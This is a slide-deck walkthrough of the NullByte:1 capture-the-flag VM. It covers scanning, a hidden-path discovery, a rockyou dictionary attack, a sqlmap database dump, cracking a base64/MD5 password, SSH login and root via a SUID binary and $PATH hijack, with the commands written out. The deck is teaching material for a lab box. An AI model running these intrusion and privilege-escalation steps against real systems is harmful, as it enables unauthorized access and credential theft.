Ad
More Related Content
What's hot (18)
Similar to Exploiting null byte vm (20)
![[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...](https://cdn.slidesharecdn.com/ss_thumbnails/day1-04-140412114404-phpapp02-thumbnail.jpg?width=560&fit=bounds)
Ad
Recently uploaded (20)
Ad
Exploiting null byte vm
- 1. EXPLOITING NULL BYTE VM (CTF CHALLENGE) BY DEVANSH DUBEY DATE:21 April 2019
- 2. ABOUT ME Devansh Dubey Volunteer at NULL Bhopal Undergoing graduation from UIT RGPV Cyber Security enthusiast Twitter handle: @devanshdubey97
- 3. About Null Byte VM • Name: NullByte: 1 • Codename: NB0x01 • Date release: 1 Aug 2015 • Author: ly0n • Series: NullByte • Web page: http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/? • Download: ly0n.me/nullbyte/NullByte.ova.zip • Objective: Get to /root/proof.txt and follow the instructions. • Level: Basic to intermediate. • Description: Boot2root, box will get IP from dhcp, works fine with virtualbox & vmware. • Operating System: Linux
- 4. Our Agenda: • Network Scanning (Nmap, netdiscover) • Exacting hidden text from an image obtained from IP(ExifTool) • Dictionary Attack using rockyou.txt(Burp suite) to obtain key. • Obtaining Database information via Sqlmap • Login to SSH on port 777 • Find SUID Binaries • Privilege Escalation by Manipulating $PATH • Get Root access and capture the flag(proof.txt)
- 5. LETS BEGIN 1. Netdiscover: Netdiscover is an ARP scanner to scan for live hosts in a range of network. In the first step we will find the target. We will use netdiscover, which is command line tool in kali linux to find the target • Netdiscover –r 172.16.219.0/24
- 6. NET DISCOVER RESULT Our target is 172.16.219.142. And now since we know our target, we will scan it using nmap
- 7. 2. Nmap Scan • Our target is 172.16.219.142 ,we will scan it using nmap. • nmap -A 172.16.219.142 -A : For OS detection, version detection,script scanning,and traceroute. • Scanning the IP, we will know that the port number 80, 111, 777, 44607 are open and the service of SSH is forwarded from 22 to 777 port. Now we will try and open the targeted IP in the browser.
- 8. NMAP RESULTS
- 9. 3. Exiftool: Here is an image and a quote on the page. We will find nothing on the page and page source. Hence data can be hidden . To see the hidden data we will use exiftool which is an open source tool available on github. Available on: https://github.com/exiftool/exiftool
- 10. There you will find a comment kzMb5nVYJw. Now this might be a directory so lets open it on browser. On opening it, we will see a text field which require a KEY.
- 12. 4. Dictionary Attack • It is asking for a key, since it is a text field we will use the dictionary attack to find the key using BurpSuite and rockyou.txt. (rockyou.txt is an wordlist file available in /usr/share/wordlist directory).Through the dictionary attack, we will find the key i.e. elite.
- 14. 5. Using Sqlmap : • Through the dictionary attack we will find the key i.e. elite. After entering the key in the text field, the new web page will get opened which will be asking for username, but till now we didn’t knew the username. So, we will find it in its Database using sqlmap. • sqlmap -u http://172.16.219.142/kzMb5nVYJw/420search.php?usrtosearch=1 -- dbs –batch --batch: never ask for user input, use default behaviour. --dbs: databases
- 15. It will give you the name of the database i.e. information_schema,mysql,performance_schema,seth.
- 16. 6. Now further we will find columns and tables and for that type: • sqlmap -u //172.16.219.142/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -- dump-all –batch • dump-all : dump all dbms databases entry. • Once command executes, it will show you the table name along with column and password as shown:
- 17. Now we know username is ramses and password is in encrypted form .
- 18. 7. Password decoding: • Now we have username and password but the password is encrypted, so we need to crack it and there are many online tools to do so. • First decrypt with base64 • $ echo “YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=” | base64 –d • Then to crack it go to md5decoder.org and give the md5 value there and click on ok and it will show you the original word i.e. omega
- 19. 8. Login through SSH Now we will SSH to log in and for that type: • ssh [email protected] -p 777 • After that give omega as the password. Once we login then by using the following command, we can enumerate all binaries having SUID permission. • find / -perm -u=s -type f 2>/dev/null • Here we found out that SUID bit enabled for /var/www/backup/procwatch
- 20. SUID ENABLED
- 21. 9. Privilege Escalation • cd /var/www/bakcup/ • ./procwatch Procwatch is security monitor written in Perl that watches a /proc filesystem for new processes. When a process is created, procwatch reports the time, the username, the PID, and the binary that was run. Its output is suitable for logging to log files and is geared for system administrators who are testing a new but as yet untrusted UNIX system. Procwatch is root owned that mean the file is running with root priviliges.
- 22. 10. Privilege Escalation • echo "/bin/sh" > ps • chmod 777 ps • echo $PATH • export PATH=.:$PATH • echo $PATH • ./procwatch • Due to ‘.’ in $PATH means that the user is able to execute binaries/scripts from the current directory. Hence now on executing id command we will find ourselves as root. • id • cd /root • ls • cat proof.txt
- 23. FLAG FOUND!!
- 24. REFERENCES • Website: http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/ • Download: http://ly0n.me/nullbyte/NullByte.ova.zip • Download (Mirror): https://download.vulnhub.com/nullbyte/NullByte.ova.zip • Download (Torrent): https://download.vulnhub.com/nullbyte/NullByte.ova.zip.torrent ( Magnet)? • https://github.com/Hamza-Megahed/CTFs/blob/master/NullByte/README • https://www.hackingarticles.in/hack-nullbyte-vm-ctf-challenge/ • https://resources.infosecinstitute.com/nullbyte-walkthrough/#gref • https://www.thegeekdiary.com/what-is-suid-sgid-and-sticky-bit/ • http://eng.omegaton.com/2017/04/null-byte-report.html